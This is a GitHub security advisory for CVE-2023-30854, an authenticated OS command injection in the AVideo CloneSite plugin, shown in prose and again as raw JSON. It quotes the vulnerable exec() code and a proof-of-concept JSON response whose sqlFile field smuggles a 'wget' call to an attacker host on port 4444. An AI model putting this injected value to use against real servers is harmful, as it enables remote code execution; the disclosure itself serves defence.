ghsa-6vrj-ph27-qfp3
Vulnerability from github
Published
2023-04-27 23:53
Modified
2023-04-28 20:05
Summary
Remote code injection in wwbn/avideo
Details

WWBN Avideo Authenticated RCE - OS Command Injection

Description

An OS Command Injection vulnerability in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php allows attackers to achieve Remote Code Execution.

Vulnerable code:

php $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val);

We can control $objClone->cloneSiteURL through the admin panel clone site feature.

/plugin/CloneSite/cloneClient.json.php sends a GET Request to {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. I hosted a specially crafted cloneServer.json.php that prints the following JSON data

JSON {"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]}

Send a GET Request to /plugin/CloneSite/cloneClient.json.php then remote code execution is achieved.

rce

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-27T23:53:45Z",
    "nvd_published_at": "2023-04-28T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "# WWBN Avideo Authenticated RCE - OS Command Injection\n\n## Description\n\nAn OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution.\n\nVulnerable code:\n\n```php\n$cmd = \"wget -O {$clonesDir}{$json-\u003esqlFile} {$objClone-\u003ecloneSiteURL}videos/cache/clones/{$json-\u003esqlFile}\";\n$log-\u003eadd(\"Clone (2 of {$totalSteps}): Geting MySQL Dump file\");\nexec($cmd . \" 2\u003e\u00261\", $output, $return_val);\n```\n\nWe can control `$objClone-\u003ecloneSiteURL`  through the admin panel clone site feature.\n\n`/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone-\u003ecloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a  specially crafted `cloneServer.json.php` that prints the following JSON data\n\n```JSON\n{\"error\":false,\"msg\":\"\",\"url\":\"https:\\/\\/REDACTED/\\/\",\"key\":\"REDACTED\",\"useRsync\":1,\"videosDir\":\"\\/var\\/www\\/html\\/[demo.avideo.com](http://demo.avideo.com/)\\/videos\\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#\",\"videoFiles\":[],\"photoFiles\":[]}\n```\n\nSend a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.\n\n![rce](https://i.ibb.co/h14gQtn/rce.png)",
  "id": "GHSA-6vrj-ph27-qfp3",
  "modified": "2023-04-28T20:05:39Z",
  "published": "2023-04-27T23:53:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6vrj-ph27-qfp3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30854"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/020415d22f36d93ed865eb61994b49caa0f7f90a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote code injection in wwbn/avideo"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…